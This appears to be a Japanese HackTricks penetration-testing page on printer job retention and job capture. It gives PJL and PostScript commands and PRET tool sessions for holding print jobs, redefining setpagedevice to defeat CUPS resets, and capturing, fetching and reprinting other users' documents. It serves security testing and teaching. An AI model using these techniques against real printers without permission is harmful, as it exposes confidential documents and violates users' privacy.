☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したい**ですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション - [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# ジョブの保持 一部のプリンターは、Webサーバーからアクセス可能な保存された印刷ジョブを持っています。ただし、通常、ジョブの保持は特定の印刷ジョブに対して明示的に有効にする必要があり、標準のPJLコマンドまたは独自のPostScriptコードを使用して行うことができます。ジョブはメモリに保持され、コントロールパネルから再印刷することができます。 ## PJL 以下に示すように、PJL HOLD変数を設定することで、現在のドキュメントの正当なジョブの保持を有効にすることができます。 ``` @PJL SET HOLD=ON [actual data to be printed follows] ``` 印刷ジョブはメモリに保持され、プリンタのコントロールパネルから再印刷することができます。この機能はさまざまなプリンタでサポートされていますが、いくつかのEpsonデバイスのみが`@PJL DEFAULT HOLD=ON`を使用して永続的なジョブ保持を設定することができるようです。 **この攻撃をテストする方法** [**PRET** ](https://github.com/RUB-NDS/PRET)の`hold`コマンドを使用して、pjlモードで永続的なジョブ保持が設定できるかどうかを確認します。 ``` ./pret.py -q printer pjl Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> hold Setting job retention, reconnecting to see if still enabled Retention for future print jobs: OFF ``` ## PostScript PostScriptは、同様の機能を提供しますが、モデルやベンダーに依存します。HP LaserJet 4kシリーズやさまざまな京セラプリンタでは、ジョブの保持を有効にするために、次のコマンドをPostScriptドキュメントの先頭に追加します。 ``` << /Collate true /CollateDetails << /Hold 1 /Type 8 >> >> setpagedevice ``` 理論的には、[startjob](./#postscript-ps)オペレータを使用してPostScriptジョブの保持を永久に有効にすることが可能ですが、この設定はCUPSによって各印刷ジョブの開始時に明示的にリセットされます。`<< /Collate false >> setpagedevice`を使用して。ただし、この保護メカニズムに対抗するために、攻撃者は`setpagedevice`オペレータを完全に無効に再定義することができます。 **この攻撃をテストする方法** [**PRET**](https://github.com/RUB-NDS/PRET)のpsモードから`hold`コマンドを使用します。 ``` ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> hold Job retention enabled. ``` # ジョブのキャプチャ 前述のように、印刷ダイアログでジョブの保持を有効にすることは可能ですが、一般的ではありません。しかし、PostScriptを使用すると、現在の印刷ジョブに完全なアクセス権があり、[startjob](./#postscript-ps)オペレータを使用してサーバーループから抜け出し、将来のジョブにアクセスすることさえ可能です。このような機能を使用すると、PostScriptがプリンタードライバとして使用されている場合、すべてのドキュメントをキャプチャすることができます。 ## PostScript 任意のPostScriptオペレータにフックする機能を持つため、外部の印刷ジョブを操作およびアクセスすることが可能です。プリンターに送信される**実際のデータストリームを解析**するために、PostScript言語の非常にクールな機能を利用することができます。それは、`currentfile`オペレータを使用して自分自身のプログラムコードをデータとして読み取ることです。この方法で、PostScriptインタプリタによって処理されるデータストリーム全体にアクセスし、プリンターデバイス上のファイルに読み取り、保存することができます。プリンターがファイルシステムアクセスを提供しない場合、**キャプチャされたドキュメントはメモリに保存**されることもあります。たとえば、永続的なPostScript辞書内に保存されます。 実際の問題は、**どのオペレータをフックするか**を決定することです。なぜなら、PostScriptインタプリタによってこのオペレータが処理されるまで、データストリームにアクセスすることはできないからです。攻撃者はジョブを最初からキャプチャしたいため、**再定義されたオペレータはPostScriptドキュメントに含まれる最初のオペレータ**でなければなりません。幸いなことに、CUPSで印刷されるすべてのドキュメントは、`currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`で始まる固定構造に圧縮されます。このような固定構造の前提に基づいて、攻撃者はドキュメントを最初からキャプチャし、その後(つまり印刷)ファイルを実行することができます。CUPS以外の印刷システムについても、この攻撃は可能であるはずですが、**オペレータを適応する必要があります**。この方法では、通常メディアサイズ、ユーザー名、ジョブ名などが含まれるPostScriptヘッダはキャプチャできません。なぜなら、実際のドキュメントの最初にフックするからです。すべての印刷ジョブの最初にフックするためのもう1つの一般的な戦略は、プリンターがサポートしている場合に`BeginPage`システムパラメータを設定することです(ほとんどのプリンターがサポートしています)。この脆弱性は、PostScript標準で定義された言語構造だけが悪用されるため、おそらく数十年にわたって印刷デバイスに存在していると考えられています。 psモードで[**PRET**](https://github.com/RUB-NDS/PRET)の`capture`コマンドを使用します。 ``` ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> capture Print job operations: capture capture start - Record future print jobs. capture stop - End capturing print jobs. capture list - Show captured print jobs. capture fetch - Save captured print jobs. capture print - Reprint saved print jobs. printer:/> capture start Future print jobs will be captured in memory! printer:/> exit ``` 次に、任意のドキュメントを印刷します(印刷チャネルがブロックされないように、PRETが切断されていることを確認してください)。その後、キャプチャされたドキュメントをリスト、取得、または再印刷することができます。 ``` ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> capture list Free virtual memory: 16.6M | Limit to capture: 5.0M date size user jobname creator ─────────────────────────────────────────────────────────────────────────────── Jan 25 18:38 3.1M - - - Jan 25 18:40 170K - - - printer:/> capture fetch Receiving capture/printer/690782792 3239748 bytes received. Receiving capture/printer/690646210 174037 bytes received. printer:/> capture print printing... printing... 2 jobs reprinted printer:/> capture stop Stopping job capture, deleting recorded jobs ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。